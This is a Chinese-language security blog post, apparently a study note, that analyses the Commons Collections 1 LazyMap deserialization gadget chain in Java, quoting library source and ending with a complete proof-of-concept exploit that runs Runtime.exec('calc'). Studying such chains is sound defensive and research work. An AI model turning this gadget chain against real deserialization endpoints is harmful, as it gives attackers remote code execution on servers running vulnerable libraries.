CC1_LazyMap

S1naG0u Lv2

本文分析了Commons Collections 1 LazyMap链的利用原理,通过LazyMap.get()方法触发InvokerTransformer.transform(),利用AnnotationInvocationHandler.invoke()通过动态代理机制调用get()方法,实现反序列化漏洞利用。

危险方法分析

同样是利用InvokerTransformer.transform()现在的需求是找一个可以触发这个方法的地方

利用链分析

找到了LazyMap.get()方法

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

此处的factory是可控的,和TransformedMap类似同样通过docrate方法可以传入

1
2
3
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

向上查找哪里可以调用LazyMap.get()找到了AnnotationInvocationHandler.invoke()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();

// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");

switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}

// Handle annotation member accessors
Object result = memberValues.get(member);

if (result == null)
throw new IncompleteAnnotationException(type, member);

if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();

if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);

return result;
}

注意到此处有memberValues.get(member)memeberValues是可控的,可以通过反射构造器在实例化时传入

1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

再往上寻找哪里调用了AnnotationInvocationHandler.invoke()

在此我们可以通过动态代理的方式调用invoke方法。

动态代理调用代理对象的任意方法时,都会执行调用处理程序的invoke方法

AnnotionInvocationHandler刚好是一个调用处理程序。

因此可以创建一个动态代理对象,并把装载LazyMapAnnotionInvocationHandler作为代理对象的调用处理程序。

然后回看AnnotionInvocationHandler.readObject()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

当传入的是memberValue是一个动态代理时memberValues.entrySet()会触发

利用链构造

比较简单没有需要绕过判断或者修改某些值的地方,所以此处忽略不写

完整POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class CC1_LazyMap {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> Hashmap = new HashMap<>();
Map<Object,Object> map = LazyMap.decorate(Hashmap,chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) constructor.newInstance(Target.class,map);

//构造器 要代理的接口 代理要进行的操作
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);

Object o = constructor.newInstance(Override.class, mapProxy);
Serialize(o);
UnSerialize("CC1_LazyMap.bin");
}
}
  • 标题: CC1_LazyMap
  • 作者: S1naG0u
  • 创建于 : 2025-03-03 17:21:01
  • 更新于 : 2025-08-12 16:18:47
  • 链接: https://s1nag0u.github.io/2025/03/03/CC1_LazyMap/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。